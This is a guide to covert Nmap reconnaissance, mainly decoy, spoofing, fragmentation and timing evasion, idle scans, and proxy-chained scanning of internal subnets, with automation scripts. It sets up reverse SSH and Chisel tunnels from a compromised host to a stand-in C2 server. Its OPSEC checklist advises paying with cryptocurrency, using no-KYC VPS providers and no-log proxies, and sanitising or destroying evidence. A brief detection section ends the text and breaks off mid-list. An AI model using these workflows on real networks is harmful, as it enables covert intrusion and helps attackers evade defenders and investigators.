Covert scanning techniques for firewall evasion, TCP/IP fingerprint masking, and proxy-chained internal reconnaissance.
This guide is for educational and authorized security testing purposes only. Use of these techniques against systems without explicit written permission is illegal. The author assumes no responsibility for misuse.
- Operational Philosophy
- Evasion & Obfuscation
- TCP Flag Manipulation
- Firewall & IDS Fingerprinting
- Timing Micro-Control
- NSE Scripting for Stealth Operations
- Proxy Pivoting & Internal Scanning
- Operational Workflows
- Output Processing & Correlation
- OPSEC Checklist
- Detection & Mitigation
- References
A default Nmap scan announces itself. The SYN packet timing is predictable, the TCP options are fingerprinted, the user-agent is hardcoded, and the port sequence is linear. Every mature SIEM has signatures for this.
Operating covertly means treating every packet as a forensic event. The goal is not to be invisible — nothing on a wire is invisible — but to be indistinguishable from noise. Slow, fragmented, sourced from unexpected ports, routed through disposable infrastructure, and timed to match baseline traffic patterns. If blue team reviews the logs, they should see nothing worth escalating.
The techniques below are organized by capability, not difficulty. Some are trivial to execute but devastating against poorly tuned defenses. Others require infrastructure setup but provide near-total attribution masking. The operator's skill is knowing which combination fits the target's posture.
Every layer of the TCP/IP stack can be manipulated. The more layers you alter, the harder it becomes for signature-based detection to classify your traffic. The tradeoff is reliability: aggressive obfuscation can cause probes to be dropped by intermediate routers or the target kernel itself.
| Technique | Command | What It Does |
|---|---|---|
| Decoy Flood | nmap -sS -Pn -D RND:8,ME -p22,80,443 target-ip |
Injects 8 random decoy IPs alongside your real scan. Target sees 9 sources; attribution becomes a log-correlation nightmare. Use RND:n for random decoys or specify explicit IPs for controlled attribution misdirection. Position ME anywhere in the list to control where your real probe appears. |
| Spoofed Source IP | sudo nmap -e eth0 -Pn -S 10.10.0.254 target-ip |
Fakes the source address. Responses route to the spoofed IP, not to you — so this is only useful for one-way probes or when combined with an idle zombie that receives the responses. Without a response path, you get no results. |
| MAC Spoofing | nmap --spoof-mac Cisco target-ip |
Randomized or vendor-specific MAC address. Use vendor prefixes (Cisco, Apple, Intel) to blend with the local segment's hardware profile, or 0 for fully random. Essential when scanning from a machine that has previously touched the target's layer-2 domain. |
| Source Port Pinning | nmap -sS -Pn -g 53 target-ip |
Originates probes from a fixed source port. Port 53 (DNS) is the classic choice — many firewalls have permissive inbound rules for DNS traffic. Also effective: 80 (HTTP), 443 (HTTPS), 123 (NTP), 25 (SMTP). Test which ports pass through the firewall before committing to a full scan. |
| Proxy Relay (Built-in) | nmap -sS -Pn --proxies socks4://127.0.0.1:9050 target-ip |
Routes Nmap's own connections through a SOCKS4 proxy. Note: this only proxies NSE and version detection connections — raw packet scans still use the direct interface. Combine with proxychains for full TCP connect scans through the proxy. |
| Interface Binding | nmap -sS -Pn -e tun0 target-ip |
Forces traffic through a specific interface. Useful when you have multiple NICs, VPN tunnels, or want to ensure packets exit through a particular route. |
| Technique | Command | What It Does |
|---|---|---|
| Fragmentation | nmap -sS -p 80 -f target-ip |
Splits the TCP header across 8-byte IP fragments. Most IDS engines have a fragment reassembly timeout; if your fragments arrive slower than the timeout window, the IDS drops the incomplete datagram while the target kernel successfully reassembles it. |
| Double Fragmentation | nmap -sS -p 80 -ff target-ip |
16-byte fragments. Even more aggressive. Some routers drop fragments this small — test against your target path first. |
| MTU Slicing | nmap -sS -p 80 --mtu 16 target-ip |
Fragment size = MTU - 20 (IP header overhead). At MTU 16, you get negative-sized fragments and Nmap will refuse. Minimum viable MTU is typically 24 (4-byte fragments). At 48, you get 28-byte fragments. Tune this to the smallest value that still transits the path. |
| TTL Manipulation | nmap -sS -Pn --ttl 128 target-ip |
Overrides the default TTL (usually 64 on Linux). Match the target's OS: Windows = 128, Linux = 64, Cisco IOS = 255, Solaris = 255. TTL mismatches trigger anomaly detection. When scanning through tunnels, account for the extra hop decrements. |
| Bad Checksum | nmap -sS -Pn --badsum -F target-ip |
Deliberately corrupts TCP checksums. Modern TCP stacks silently drop these, but some IDS/IPS and legacy firewalls still process and log them — revealing the presence of a detection layer without triggering alerts. Useless for actual port discovery; purely a counter-IDS probe. |
| Data-Length Padding | nmap -sS -Pn --data-length 256 target-ip |
Appends random payload bytes to every probe. Default Nmap SYN probes are 44 bytes (20 IP + 24 TCP with options). Signature-based IDS looks for exactly this size. Padding to 256+ bytes makes your probes look like legitimate data packets. |
| IP Options Injection | nmap -sS -Pn --ip-options "R" target-ip |
Injects IP options like Record Route (R), Loose Source Routing (L), Strict Source Routing (S), or Timestamp (T). Most networks drop IP options — but some internal segments pass them, creating a fingerprinting opportunity. |
| Randomized Scan Order | nmap -sS -Pn --randomize-hosts -p22,80,443,445,3389 target-subnet |
Randomizes target order within the subnet. Sequential .1 .2 .3 .4 scanning is a trivial heuristic trigger. Randomization forces the defender to correlate across a longer time window. |
| Scan Delay | nmap -sS -Pn -T2 --scan-delay 3s --max-scan-delay 10s target-ip |
Artificially paces probes. A 3-10 second randomized inter-probe delay makes traffic indistinguishable from idle keepalives on a moderately busy segment. Combine with --max-scan-delay for jitter. |
| DNS Proxying | nmap -sS -Pn --dns-servers 8.8.8.8,1.1.1.1 target-ip |
Forces DNS resolution through specific resolvers. Prevents your local DNS server from logging Nmap's reverse lookups. Combine with -n to disable DNS entirely when you don't need hostnames. |
The Nmap Scripting Engine sends HTTP requests with a hardcoded User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; ...) header. This is an immediate, high-fidelity detection signature. Every HTTP-capable NSE script exposes this unless you override it.
| Technique | Command |
|---|---|
| Custom User-Agent | nmap -sV -Pn --script-args http.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" target-ip |
| HTTP Pipelining | nmap -sV -Pn --script-args http.pipeline=20 target-ip |
| Host Header Override | nmap -sV -Pn --script-args http.host="cdn.cloudfront.net" target-ip |
| Referer Spoofing | nmap --script http-enum --script-args http.referer="https://www.google.com/search?q=target+company" target-ip |
| Cookie Injection | nmap --script http-enum --script-args http.cookie="session=legitimate-looking-token" target-ip |
| Full Header Spoofing | Combine all of the above in a single scan invocation to present a complete, internally consistent browser profile. |
Pull fresh user-agent strings from UserAgents.io. Rotate user-agents between scan sessions. Match the user-agent to the target's expected client profile — Windows/Chrome for corporate targets, iOS/Safari for mobile-oriented services, Android/Chrome for broad consumer-facing apps.
RFC 793 specifies that closed ports MUST respond to non-SYN probes with RST, while open ports MUST silently drop them. This behavior is the foundation of all stealth scanning. Exploiting it requires understanding which operating systems actually comply with the RFC (most UNIX derivatives do; Windows does not for certain flag combinations).
| Scan | Flags | Command | OS Behavior |
|---|---|---|---|
| SYN (Half-Open) | SYN | sudo nmap -sS target-ip |
Universal. SYN sent; if SYN/ACK received, RST immediately — the handshake never completes. Application never sees the connection. Logged by most kernels but at a lower severity than full connects. |
| NULL | None | sudo nmap -sN target-ip |
No flags set. Linux/BSD: closed port returns RST, open port is silent. Windows (all versions): responds with RST regardless of port state — NULL scan against Windows is useless. Cisco IOS: inconsistent, test first. |
| FIN | FIN | sudo nmap -sF target-ip |
Same RFC behavior as NULL but with FIN set. Less signature-prone than NULL because FIN packets occur in normal connection teardown. Still fails against Windows (always returns RST). Effective against Linux, BSD, macOS, Solaris, and most embedded Linux stacks. |
| Xmas | FIN+PSH+URG | sudo nmap -sX target-ip |
Three flags set simultaneously — an impossible combination in legitimate TCP. Many IDS have explicit signatures for this exact flag triplet. Use custom flag combinations instead if you suspect signature-based detection. Same OS limitations as NULL/FIN. |
| Maimon | FIN+ACK | sudo nmap -sM target-ip |
Discovered by Uriel Maimon in 1996. BSD-derived stacks (FreeBSD, OpenBSD, macOS) drop these regardless of port state — scan yields all `open |
| Custom Flags | Arbitrary | sudo nmap --scanflags RSTSYNFIN target-ip |
Define your own flag combination with --scanflags. Mix URG, ACK, PSH, RST, SYN, FIN in any combination. No pre-existing IDS signature exists for random flag sets. The behavior of targets against arbitrary flag combinations is poorly documented — test and map responses before relying on results. |
| Custom Flags + Timing | Arbitrary | sudo nmap --scanflags SYNACK -T1 --scan-delay 10s --max-retries 0 target-ip |
Combine custom flags with paranoid timing to produce traffic that matches no known signature and arrives too slowly to trigger rate-based heuristics. |
The idle scan is the gold standard for attribution-free port scanning. Your IP address never appears in any target log. The technique exploits predictable IP Identification (IP ID) field incrementation on a zombie host.
Your Machine Zombie (10.10.5.5) Target (target-ip)
| | |
|-- SYN/ACK (probe zombie) ---->| |
|<-------- RST (IP ID=31337) ---| |
| | |
|-- Spoofed SYN (from zombie) ---------------------------------> |
| | |
| |<---- SYN/ACK (if port open) ---|
| |---- RST (IP ID increments) --->|
| | |
|-- SYN/ACK (probe zombie) ---->| |
|<-------- RST (IP ID=31339) ---| |
| | |
| IP ID incremented by 2 = port was OPEN |
If the IP ID increased by 1 between probes: no response from target, port likely closed/filtered. If the IP ID increased by 2: zombie sent a RST to the target's SYN/ACK, port is open.
# Identify a zombie candidate (needs predictable, incremental IP ID)
sudo nmap -Pn -p80,135,443 --script ipidseq 10.10.0.0/24
# Execute idle scan
sudo nmap -sI 10.10.5.5 -Pn -p22,80,443,445,3389 target-ipZombie requirements:
- Idle (minimal background traffic — IP ID noise destroys scan accuracy)
- Incremental IP ID (global counter, not randomized or per-host)
- Reachable and responsive from your position
- Ideally on a different subnet than the target
Good zombie candidates: Old network printers (HP LaserJet with JetDirect), IP cameras, unmanaged switches with web interfaces, legacy IoT devices. These often have incremental IP ID counters and near-zero background traffic.
Bad zombie candidates: Modern Windows (randomized IP ID since Vista), busy web servers, any host running active services that generate outbound traffic.
# Zombie validation scan — check IP ID sequence predictability
sudo nmap -Pn -p80 --script ipidseq 10.10.5.5
# Look for "Incremental" in the output. "All zeros", "Random", or "Random positive increments" = bad zombie.These techniques map the defensive perimeter — they tell you what the firewall allows, what it drops, and whether there's an IDS/IPS inline. They do not discover open ports on the target; they discover the ruleset protecting the target.
| Technique | Command | What It Reveals |
|---|---|---|
| ACK Scan | sudo nmap -sA -p22,80,443,3389 target-ip |
Sends ACK packets (no SYN). If the target responds with RST: the port is unfiltered — the packet reached the host. If no response or ICMP unreachable: the port is filtered by a stateful firewall that blocks unsolicited ACKs. This is the single most useful firewall mapping technique. |
| Window Scan | sudo nmap -sW -p22,80,443 target-ip |
Like ACK scan but inspects the TCP Window field in RST responses. Some BSD and older Linux kernels set different window sizes for open vs. closed ports. Inconsistent across stacks — treat results as hints, not ground truth. Most useful against legacy Solaris and older FreeBSD versions. |
| IP Protocol Scan | sudo nmap -sO target-ip |
Enumerates which IP protocol numbers the target responds to. ICMP (1), IGMP (2), GRE (47), ESP (50), AH (51) — if these return responses, the target has tunnel endpoints, VPN concentrators, or routing daemons listening. Not a port scan; a protocol-level scan at the IP layer. |
| IP ID Analysis | sudo nmap -Pn -p80 --script ipidseq --script-args probeport=443 target-ip |
Characterizes the target's IP ID generation algorithm. Incremental = older OS, predictable. Randomized = modern OS (Windows Vista+, OpenBSD, Linux 5.x+ with randomization enabled). Zero = embedded/broken stack. This tells you whether the target can be used as a zombie for idle scans. |
| Firewalk | sudo nmap --script firewalk --script-args firewalk.max-probed-ports=10 -p22,80,443 target-ip |
NSE script that probes a target behind a firewall by manipulating TTL. Sends packets with TTL set to expire one hop past the firewall — if the firewall allows the traffic, the next-hop router sends ICMP TTL exceeded. Maps which ports the firewall forwards vs. drops. |
| Spoofed Firewalk | sudo nmap --script firewalk --script-args firewalk.recv-timeout=1000 -e eth0 -S 10.0.0.1 -p80,443 target-ip |
Combine firewalk with a spoofed source IP to probe firewall rules without revealing your real address. |
| Fragment Reassembly Detection | sudo nmap -sS -f -p80 target-ip && sudo nmap -sS -p80 target-ip |
Run the same port scan fragmented and unfragmented. If results differ (unfragmented shows open, fragmented shows filtered), an IDS/IPS or firewall is failing to reassemble fragments. You now know fragmentation is an effective evasion vector against this target. |
Timing templates (-T0 through -T5) are presets that control six underlying parameters. For covert operations, you need granular control over each parameter individually. The templates are too coarse — -T2 might still be too fast for one target and too slow for another.
| Template | scan_delay | max_scan_delay | min_rtt_timeout | max_rtt_timeout | max_parallelism | max_retries |
|---|---|---|---|---|---|---|
-T0 (Paranoid) |
5m | N/A | 100s | 300s | 1 | 0 |
-T1 (Sneaky) |
15s | N/A | 15s | 15s | 1 | 0 |
-T2 (Polite) |
0.4s | 1s | 1s | 10s | 1 | 0 |
-T3 (Normal) |
0s | 1s | 1s | 10s | 0 | 0 |
-T4 (Aggressive) |
0s | 1s | 0.5s | 2.5s | 0 | 0 |
-T5 (Insane) |
0s | 0.3s | 0.3s | 1.25s | 0 | 0 |
# Covert sweep: slow, single-threaded, randomized delay, zero retries
sudo nmap -sS -Pn -n \
--scan-delay 5s \
--max-scan-delay 30s \
--min-hostgroup 1 \
--max-hostgroup 1 \
--max-retries 0 \
--max-rtt-timeout 5000ms \
--min-rtt-timeout 1000ms \
--initial-rtt-timeout 2000ms \
--host-timeout 30m \
-p22,80,443,445,3389 \
target-subnetParameter breakdown:
--scan-delay 5s --max-scan-delay 30s— Randomized 5-30 second gap between probes. Defeats rate-based heuristics.--min-hostgroup 1 --max-hostgroup 1— One host at a time. Prevents parallel scanning patterns.--max-retries 0— Never retransmit. A dropped probe is lost; retransmission creates a distinct pattern.--max-rtt-timeout 5000ms --min-rtt-timeout 1000ms— Tight RTT window. Avoids hanging on unresponsive hosts.--initial-rtt-timeout 2000ms— Conservative initial timeout. Reduces early retransmissions.--host-timeout 30m— Hard cap per host. Prevents a single unresponsive host from stalling the entire sweep.
# Start fast, degrade to stealth if SYN cookies or rate-limiting detected
sudo nmap -sS -Pn -n \
-T3 \
--defeat-rst-ratelimit \
--defeat-icmp-ratelimit \
-p- target-ipThe --defeat-rst-ratelimit and --defeat-icmp-ratelimit flags tell Nmap to dynamically reduce scan speed when the target starts rate-limiting responses. This is critical — a target aggressively dropping packets is signaling that your scan is detected, and continuing at full speed ensures logging and escalation.
The Nmap Scripting Engine is powerful but dangerously noisy by default. Most NSE scripts generate HTTP requests with the default user-agent, perform DNS lookups through your configured resolver, and produce verbose output. For covert operations, you must constrain the engine.
# Avoid: broad category sweeps that trigger on every port
# nmap --script vuln,exploit,discovery target-ip <-- NEVER do this
# Prefer: targeted, single-purpose scripts on confirmed open ports
sudo nmap -sS -Pn -p80,443 --script http-enum,http-headers,ssl-enum-ciphers \
--script-args http.useragent="Mozilla/5.0 ..." target-ipInstead of passing user-agents and other overrides on the command line every time, maintain an NSE arguments file:
# ~/.nmap/nse-args.conf
http.useragent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
http.host=www.google.com
http.referer=https://www.google.com/
http.pipeline=15
smbdomain=WORKGROUP
smbusername=guest
smbpassword=# Use with:
sudo nmap -sS -Pn --script http-enum --script-args-file ~/.nmap/nse-args.conf target-ip| Script | Purpose | Stealth Notes |
|---|---|---|
http-headers |
Dump HTTP response headers | Single request per port. Low noise. Reveals server, framework, caching layers. |
http-methods |
Enumerate allowed HTTP methods | Uses OPTIONS request. Single probe. Reveals PUT/DELETE/PATCH capability. |
ssl-enum-ciphers |
TLS cipher suite enumeration | Multiple TLS handshakes but each is small. Reveals weak cipher support. |
dns-brute |
Subdomain brute-force via DNS | Generates DNS queries, not direct target traffic. Low target-side visibility. |
smb-os-discovery |
SMB OS fingerprint | Single SMB negotiation. High-value, low-noise when port 445 is confirmed open. |
banner |
Generic banner grab | Single read after TCP connect. No HTTP signature emitted unless service is HTTP. |
ftp-anon |
Anonymous FTP login check | Single login attempt. Trivial to detect but low-priority alert for most SOCs. |
http-sql-injection— Generates hundreds of malicious-looking requests. Immediate WAF trigger.http-brute— Authentication brute-force. Volume alone triggers account lockout and SIEM alarms.broadcast-*— Sends broadcast traffic. Not stealthy by definition.brute-*— Any brute-force script. High volume, high detection probability.vuln-*— Most vulnerability checks generate exploit-like payloads. Unless you specifically need CVE confirmation, avoid.
After compromising an edge host or gaining access to a pivot point, all internal reconnaissance must transit through that host. Direct scanning from your machine to the internal subnet is attribution suicide.
Single-hop pivot:
Operator -> SSH Tunnel (SOCKS5) -> VPS -> Target
Fastest. VPS IP is the only address target sees. VPS is disposable — burn it after the engagement.
Double-hop pivot:
Operator -> SSH Tunnel -> VPS -> Residential Proxy -> Target
Adds a residential proxy (Bright Data, IPRoyal, etc.) after the VPS. Target sees a residential ISP IP. Correlation requires subpoenaing both the proxy provider and the VPS host.
Reverse pivot (target-initiated):
Operator <-- Reverse SSH Tunnel <-- Compromised Internal Host -> Internal Subnet
The compromised internal host calls back to your infrastructure, creating a reverse tunnel. You scan the internal subnet through the compromised host without ever sending packets from outside. This is the most operationally secure topology.
# Forward tunnel (you connect to VPS)
ssh -fN -D 127.0.0.1:1080 \
-o ServerAliveInterval=60 \
-o ExitOnForwardFailure=yes \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
root@vps-ip
# Reverse tunnel (compromised host connects to you)
# On compromised host:
ssh -fN -R 127.0.0.1:2222:127.0.0.1:22 \
-o ServerAliveInterval=60 \
-o StrictHostKeyChecking=no \
user@your-c2-server
# Then on your C2, proxy through the reverse connection:
ssh -fN -D 127.0.0.1:1080 \
-p 2222 \
-o StrictHostKeyChecking=no \
user@127.0.0.1/etc/proxychains4.conf:
strict_chain
tcp_read_time_out 15000
tcp_connect_time_out 8000
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080
http proxy.webshare.io 3128 username password
Key settings:
strict_chain— Proxies are used in strict order.dynamic_chainskips dead proxies, but the order randomization makes traffic patterns harder to baseline on the defender side.proxy_dns— DNS lookups go through the proxy chain. Without this, your local DNS server logs every hostname Nmap resolves.tcp_read_time_out— Bumped to 15s to handle the added latency of multi-hop proxy chains.
# Covert internal sweep
proxychains nmap -sT -Pn -n \
-T2 --scan-delay 3s --max-scan-delay 10s \
--max-retries 0 \
-p22,80,443,445,3389,8080,8443,9001 \
10.10.10.0/24
# Full port sweep on high-value target
proxychains nmap -sT -Pn -n \
-p- --min-rate 300 --max-retries 0 \
--host-timeout 2h \
target-ip
# Service detection through chain (light intensity)
proxychains nmap -sT -Pn -n \
-sV --version-intensity 2 --version-light \
--script-timeout 30s \
-p22,80,443,445,3389 \
10.10.10.0/24Critical constraints when scanning through proxies:
-sS(SYN scan) does not work through proxies. SOCKS proxies operate at the session layer — they cannot relay raw IP packets. Always use-sT(TCP Connect).- DNS resolution must be disabled (
-n) or routed through the proxy (proxy_dnsin proxychains config). DNS leaks are a common OPSEC failure. - Host discovery (
-sn) through proxies is unreliable. Always use-Pnand assume the targets are live. - NSE scripts that perform callbacks (e.g.,
http-shellshock,dns-zone-transfer) may not route through the proxy correctly. Test each script before operational use.
SSH tunnels are fingerprintable. For environments where SSH outbound is monitored or blocked, use Chisel — a TCP/UDP tunnel over HTTP with WebSocket transport:
# On VPS (server):
./chisel server -p 443 --reverse --socks5
# On compromised host (client):
./chisel client vps-ip:443 R:socksChisel traffic looks like HTTPS WebSocket connections. It blends with normal web traffic when run over port 443 with TLS.
#!/bin/bash
# Multi-hop Pivot & Scan Automation
VPS="your-vps"
PROXY_HOST="proxy.webshare.io"
PROXY_PORT="3128"
PROXY_AUTH="user:pass"
SUBNET="${1:-10.10.10.0/24}"
PORTS="22,80,443,445,3389,8080,8443"
OUTDIR="./scans/$(date +%Y%m%d_%H%M%S)"
CHAINS="/etc/proxychains4.conf"
cleanup() {
echo "[*] Tearing down tunnel..."
pkill -f "ssh -fN -D 127.0.0.1:1080"
}
trap cleanup EXIT
# Create output directory
mkdir -p "$OUTDIR"
# Write proxychains config
cat > "$CHAINS" <<EOF
strict_chain
tcp_read_time_out 15000
tcp_connect_time_out 8000
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080
http $PROXY_HOST $PROXY_PORT $PROXY_AUTH
EOF
# Establish SSH tunnel
echo "[*] Opening SSH tunnel to $VPS..."
ssh -fN -D 127.0.0.1:1080 \
-o ServerAliveInterval=60 \
-o ExitOnForwardFailure=yes \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
root@$VPS || exit 1
sleep 2
# Verify exit node
echo "[*] Verifying exit node..."
EXIT_IP=$(proxychains -q curl -s --max-time 15 http://ifconfig.me 2>/dev/null)
if [ -z "$EXIT_IP" ]; then
echo "[-] Proxy chain verification failed"
exit 1
fi
echo "[+] Exit IP: $EXIT_IP"
# Phase 1: Quick sweep — common ports
echo "[*] Phase 1: Common port sweep of $SUBNET"
proxychains -q nmap -sT -Pn -n \
-T2 --scan-delay 2s --max-scan-delay 8s \
--max-retries 0 --host-timeout 5m \
-p"$PORTS" "$SUBNET" \
-oA "$OUTDIR/phase1_common_ports"
# Extract live hosts with open ports
grep -l "open" "$OUTDIR"/phase1_common_ports.gnmap 2>/dev/null | \
grep -oP '(?<=Host: )\S+' | sort -u > "$OUTDIR/live_hosts.txt"
LIVE_COUNT=$(wc -l < "$OUTDIR/live_hosts.txt" 2>/dev/null || echo 0)
echo "[+] Phase 1 complete: $LIVE_COUNT live hosts found"
# Phase 2: Service detection on live hosts
if [ "$LIVE_COUNT" -gt 0 ]; then
echo "[*] Phase 2: Service detection on live hosts"
LIVE_LIST=$(tr '\n' ' ' < "$OUTDIR/live_hosts.txt")
proxychains -q nmap -sT -Pn -n \
-sV --version-intensity 2 \
--script-timeout 20s \
$LIVE_LIST \
-oA "$OUTDIR/phase2_service_detect"
echo "[+] Phase 2 complete"
fi
echo "[+] Operation complete. Output: $OUTDIR"Techniques in isolation are academic. Operators chain them. Below are battle-tested scan workflows for different engagement phases.
# Goal: Map external attack surface without triggering alerts
# Assumption: You have disposable cloud VPS and a residential proxy
# Step 1: Fragment + decoy + slow — probe for live services
sudo nmap -sS -Pn -n \
-D RND:6,ME \
-f --mtu 48 \
-g 443 \
--ttl 128 \
--data-length 64 \
-T2 --scan-delay 4s --max-scan-delay 15s \
--randomize-hosts \
--max-retries 0 \
-p22,25,53,80,110,143,443,465,587,993,995,1433,1521,3306,3389,5432,6379,8080,8443,9001,27017 \
-oA recon/external_sweep \
target-corp.com
# Step 2: ACK scan on discovered hosts — map the firewall
grep "open" recon/external_sweep.gnmap | awk '{print $2}' | sort -u > recon/live_targets.txt
sudo nmap -sA -Pn -n \
-p22,80,443,445,3389 \
-oA recon/ack_firewall_map \
-iL recon/live_targets.txt
# Step 3: Idle scan on high-value ports — zero-footprint verification
# (requires pre-identified zombie)
sudo nmap -sI 10.20.30.40 -Pn -n \
-p22,443 \
-oA recon/idle_verify \
target-corp.com# Goal: Map internal subnets through a compromised beachhead
# Assumption: SSH reverse tunnel to beachhead is established on localhost:1080
# Step 1: ARP-free internal discovery via proxychains
proxychains -q nmap -sT -Pn -n \
-T2 --scan-delay 2s \
--max-retries 0 \
-p80,443,445,3389,8080 \
--open \
-oA internal/arp_free_discovery \
10.10.0.0/16,192.168.0.0/16,172.16.0.0/16
# Step 2: Extract responsive subnets, sweep deeper
grep "open" internal/arp_free_discovery.gnmap | \
grep -oP '\b\d+\.\d+\.\d+' | sort -u | \
while read subnet; do
echo "[*] Found responsive subnet: ${subnet}.0/24"
proxychains -q nmap -sT -Pn -n \
-T2 --scan-delay 3s \
-p22,80,443,445,135,139,3389,5985,5986 \
"${subnet}.0/24" \
-oA "internal/sweep_${subnet}"
done
# Step 3: SMB enumeration on hosts with 445 open
grep "445/open" internal/sweep_*.gnmap | grep -oP '(?<=Host: )\S+' | sort -u > internal/smb_hosts.txt
proxychains -q nmap -sT -Pn -n \
-p445 \
--script smb-os-discovery,smb-enum-shares,smb-enum-users \
--script-args smbdomain=WORKGROUP,smbusername=guest,smbpassword= \
-iL internal/smb_hosts.txt \
-oA internal/smb_enum# Goal: Enumerate web apps without triggering WAF
# Technique: Mimic normal browser traffic at human speed
sudo nmap -sS -Pn -n \
-g 443 \
--ttl 128 \
--data-length 128 \
-T2 --scan-delay 5s --max-scan-delay 20s \
--max-retries 0 \
-p80,443,8080,8443,9090 \
--open \
-oA web/port_scan \
target-corp.com
# For each discovered web port, run minimal fingerprinting
grep "open" web/port_scan.gnmap | awk '{print $2":"$3}' | \
while read target; do
ip="${target%:*}"
port="${target##*:}"
echo "[$(date +%H:%M:%S)] Scanning $ip:$port"
sudo nmap -sS -Pn -n \
-sV --version-intensity 2 \
-p"$port" \
--host-timeout 60s \
--script http-headers,ssl-enum-ciphers \
--script-args http.useragent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
"$ip" \
-oA "web/fingerprint_${ip}_${port}" \
2>/dev/null
delay=$((30 + RANDOM % 30))
echo "[*] Sleeping $delay seconds..."
sleep $delay
doneNmap's output formats (-oN, -oX, -oG, -oA) are designed for single-scan analysis. Operators need to correlate across multiple scans, time windows, and source IPs.
# From all grepable outputs in a directory
cat scans/*.gnmap | grep "open" | grep -oP 'Host: \S+' | sort -u | awk '{print $2}' > live_hosts.txt# Build a host:port matrix
for f in scans/*.gnmap; do
grep "open" "$f" | while read line; do
host=$(echo "$line" | grep -oP '(?<=Host: )\S+' | awk '{print $1}')
ports=$(echo "$line" | grep -oP '\d+/open' | cut -d/ -f1 | tr '\n' ',' | sed 's/,$//')
echo "$host: $ports"
done
done | sort -u > port_matrix.txt# Extract all open ports per host in JSON-friendly format
python3 -c "
import xml.etree.ElementTree as ET
import json, sys
tree = ET.parse(sys.argv[1])
root = tree.getroot()
results = {}
for host in root.findall('host'):
ip = host.find('address').get('addr')
ports = []
for port in host.findall('ports/port'):
pid = port.get('portid')
proto = port.get('protocol')
state = port.find('state').get('state')
svc = port.find('service')
name = svc.get('name') if svc is not None else 'unknown'
if state == 'open':
ports.append({'port': pid, 'protocol': proto, 'service': name})
if ports:
results[ip] = ports
print(json.dumps(results, indent=2))
" scans/output.xml > parsed_ports.json# Compare two scan snapshots to find new/closed ports
comm -23 <(grep "open" scan_day1.gnmap | sort) <(grep "open" scan_day2.gnmap | sort) > ports_closed.txt
comm -13 <(grep "open" scan_day1.gnmap | sort) <(grep "open" scan_day2.gnmap | sort) > ports_opened.txt- Provision disposable cloud VPS (payment via cryptocurrency or prepaid card)
- Acquire residential proxy access from a provider that does not log
- Verify VPS provider does not require KYC (Know Your Customer) verification
- Harden the VPS: disable all services except SSH on a non-standard port, configure
iptablesto drop all inbound except your IP - Configure SSH to use key-based authentication only; disable password auth and root login
- Route through minimum 2 proxy hops before any packet touches target infrastructure
- Verify exit node IP:
proxychains curl -s http://ifconfig.me— confirm it is NOT your real IP, your VPS IP, or any address traceable to you - Pin source port to 53, 443, or 123 (
-g) to blend with baseline traffic - Set timing to T1 or T2 with
--scan-delayfor sustained stealth - Enable 6-8 random decoys (
-D RND:6,ME) and randomize host order (--randomize-hosts) - Override User-Agent with a current, verified browser fingerprint from UserAgents.io
- Set TTL to match target OS default (
--ttl 128for Windows,--ttl 64for Linux) - Disable DNS (
-n) or route through proxy (proxy_dnsin proxychains.conf) - Set
--max-retries 0to eliminate retransmission fingerprints - Test the full chain against a controlled target (your own server) before going operational
- Monitor live for ICMP unreachable, TCP RST storms, or SYN cookie activation — any of these mean you've been detected; cease immediately
- Split large scans across multiple sessions with different decoy sets, source ports, and timing parameters
- Never run NSE scripts that generate authentication attempts or exploit payloads unless you are prepared for the target to escalate
- Log everything to
-oAwith descriptive filenames including timestamps - If a scan stalls or times out repeatedly, do not increase speed — the target may be rate-limiting you intentionally
- Rotate source ports between scan sessions; do not reuse the same pinned port
- Terminate all SSH tunnels:
pkill -f "ssh.*-D"and verify withss -tlnp - Flush proxychains DNS cache:
rm -f /tmp/proxychains_* - Sanitize output filenames — remove target names, IP ranges, and timestamps that correlate to the engagement window
- Encrypt all scan output at rest:
tar czf - scans/ | gpg -c -o scans.tar.gz.gpg - Destroy the VPS if it was provisioned specifically for this engagement
- Rotate residential proxy credentials before the next engagement
- DNS leak — Forgetting
-norproxy_dns. Your ISP DNS server logs every reverse lookup Nmap performs. - Default user-agent — Running
--script http-*withouthttp.useragent. Single-packet detection. - Sequential scanning — Scanning .1, .2, .3 in order. Trivial heuristic trigger.
- SYN scan through proxy —
proxychains nmap -sSsilently fails; packets bypass the proxy. Always use-sTthrough SOCKS. - Retransmission fingerprint — Leaving
--max-retriesat default (10). Each retransmission doubles the probe's visibility window. - Forgotten tunnel — Leaving SSH tunnels alive after the engagement. Your VPS remains connected, generating logs on both ends.
Understanding how these techniques are detected is essential for both offense and defense. Every evasion has a corresponding detection opportunity.
-
SYN scan asymmetry — High volume of outbound SYN packets with disproportionately few completed three-way handshakes. Normal traffic has a SYN:SYN/ACK ratio close to 1:1. During a SYN scan, it approaches infinity:0.
-
Decoy correlation — Simultaneous, structurally identical scan patterns from geographically and topologically unrelated IPs. The real scanner is identifiable by micro-timing analysis — decoy packets are injected with slightly different inter-packet delays. Statistical clustering of timing jitter reveals the true source.
-
Fragment storms — Packets arriving with IP fragment offsets and the More Fragments flag set. Legitimate fragmentation is extremely rare on modern networks (PMTU discovery handles path MTU at the TCP layer). Any IP fragment traffic is worth investigating.
-
TTL anomalies — Packets arriving with TTL values inconsistent with the source's claimed operating system. A source claiming to be a Windows server sending packets with TTL=64 (Linux default) is either spoofed or running a non-standard stack — both suspicious.
-
Non-SYN flag combinations — NULL, FIN, Xmas (FIN+PSH+URG), Maimon (FIN+ACK), and custom flag combinations have zero legitimate use cases. Any packet arriving with these flags on a production port should generate an immediate alert, not just a log entry.
-
Source port anomalies — TCP traffic sourced from port 53, 123 (NTP), or 25 (SMTP) to non-standard destination ports. These ports are associated with UDP services; TCP on these source ports is almost exclusively scanning activity.
-
